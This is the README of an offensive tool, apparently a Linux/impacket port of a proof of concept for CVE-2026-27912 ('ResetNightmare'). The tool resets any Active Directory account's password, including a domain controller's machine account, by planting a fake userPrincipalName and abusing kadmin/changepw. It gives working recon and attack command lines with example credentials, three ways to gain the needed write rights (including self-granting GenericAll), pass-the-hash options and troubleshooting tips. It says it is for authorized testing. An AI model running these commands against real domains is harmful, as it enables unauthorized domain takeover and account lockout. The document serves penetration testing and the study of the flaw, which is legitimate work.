
CVE-2026-27912 (ResetNightmare) — Linux/impacket port of Semperis Community's Invoke-ResetNightmare PoC
Linux / impacket tooling for CVE-2026-27912 ("ResetNightmare"). Resets a target
Active Directory account's password by requesting a kadmin/changepw TGT for an
NT_ENTERPRISE principal whose name is the target's sAMAccountName, using an
account (UPNUser) on which we can write a fake userPrincipalName.
Python port of the Semperis Community Invoke-ResetNightmare
PowerShell tool (see Credits).
For authorized security testing and educational use only. This tool changes real Active Directory credentials and can lock accounts out.
GenericAll, set its password, enable it.sAMAccountName.UPNUser.userPrincipalName = <targetSAN> (the fake UPN).NT_ENTERPRISE '<targetSAN>' for kadmin/changepw — the KDC maps the
enterprise UPN to the target and issues a change-password TGT for it.--upn-user--upn-user is the account you write the fake UPN on (a user, or a computer with
--computer). The only requirement is that you can write its userPrincipalName.
There are three ways to get that — the same ones the PowerShell original relies on:
| # | How you get UPN-write | Flag | Needs an OU? |
|---|---|---|---|
| A | Create the account in an OU where you have Create Child → you own it → the tool self-grants GenericAll → writes the UPN | --create-new-path | Yes |
| B | An existing account you already have GenericWrite / GenericAll / WriteProperty(userPrincipalName) on | (none) | No |
| C | An existing account you own or have WriteDacl on (no direct property write) | --grant-self | No |
So you do not necessarily need to control an OU — path B works off delegated
rights on any single account. But you need one of A/B/C. Run --find to
see which you have.
A domain computer alone is not enough. A machine you're local admin on / hold the hash for — but have no AD write rights on — gives you none of A/B/C. And a computer created via MachineAccountQuota (
addcomputer.pyintoCN=Computers) does not work either: its creator is not the owner and gets no UPN write, so both the direct write and--grant-selffail withresult 50. Use path A with a delegated OU.
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Operator credentials are the first positional argument: [domain/]username[:password].
Any password may be omitted and you'll be prompted for it.
Recon — what can this account abuse? Reports accounts you can write a UPN on, OUs you can create objects in, and the MachineAccountQuota, with suggested commands:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Each finding prints its via: reason(s) and the object's owner:. The owner tells the
two computer-creation paths apart at a glance — a delegated-container computer shows
owner: <you> (you have implicit WRITE_DAC, so --grant-self works), while a MAQ /
CN=Computers one shows owner: BUILTIN\Administrators (you don't, so it can't be used):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
Reset a target using an account you can write a UPN on:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Create the UPN account first (needs Create Child on the OU, and LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Create a computer account as the UPN account (--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Existing account where you can rewrite the DACL but not write the UPN (--grant-self).
When --find reports a --upn-user reachable via Owner or WriteDacl (you can
change its ACL but have no direct property write), --grant-self adds a GenericAll ACE for
you first, then the attack proceeds. Only for existing accounts — --create-new-path
already grants itself.
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
If
--grant-selfitself fails withresult 50, you are not the owner and have no WriteDacl on that account — it can't help. This is the usual outcome for a computer you created viaaddcomputer.py/MAQ: creators typically get neither ownership nor a UPN write, so MAQ computers are not usable as--upn-user. Run--findand pick an account it flags asWriteProperty(userPrincipalName),GenericWrite,GenericAll,Owner, orWriteDacl.
Add -debug for verbose AS-REQ / LDAP / kpasswd logging.
| Flag | Meaning |
|---|---|
<positional> | Operator creds: [domain/]username[:password] |
--target-account | sAMAccountName to reset (computer accounts end with $) |
--target-new-password | New password to set on the target |
--upn-user | Account to write the fake UPN on (or create with --create-new-path) |
--upn-user-password | Cleartext password of --upn-user |
--computer | Treat --upn-user as a machine account |
--create-new-path <DN> | OU/Container to create --upn-user in first (needs LDAPS) |
--grant-self | Grant the operator GenericAll on an existing --upn-user you own before writing the UPN (needs ownership / WriteDacl) |
--find | Recon: report abusable accounts/OUs (with each finding's owner) + suggested commands, then exit |
--list-ous | List OUs/containers and exit (pick a valid --create-new-path) |
--aes-key <hex> | AES key of --upn-user for the AS-REQ instead of a password |
--upn-user-hash <NT> | NT hash (or LM:NT) of --upn-user for the AS-REQ instead of a password |
-k, --kerberos | Kerberos (SASL/GSSAPI) LDAP bind (uses KRB5CCNAME) |
-H LM:NT | Pass-the-hash LDAP (NTLM) bind |
--no-pass | Don't prompt for a password (use -k / KRB5CCNAME) |
--dc-host | DC hostname/FQDN (for Kerberos SPNs) |
--dc-ip | DC IP address |
--no-ssl | Plain LDAP/389 (incompatible with --create-new-path) |
--supported-encryption | Preferred enctype, informational (default aes256) |
-debug | Verbose logging |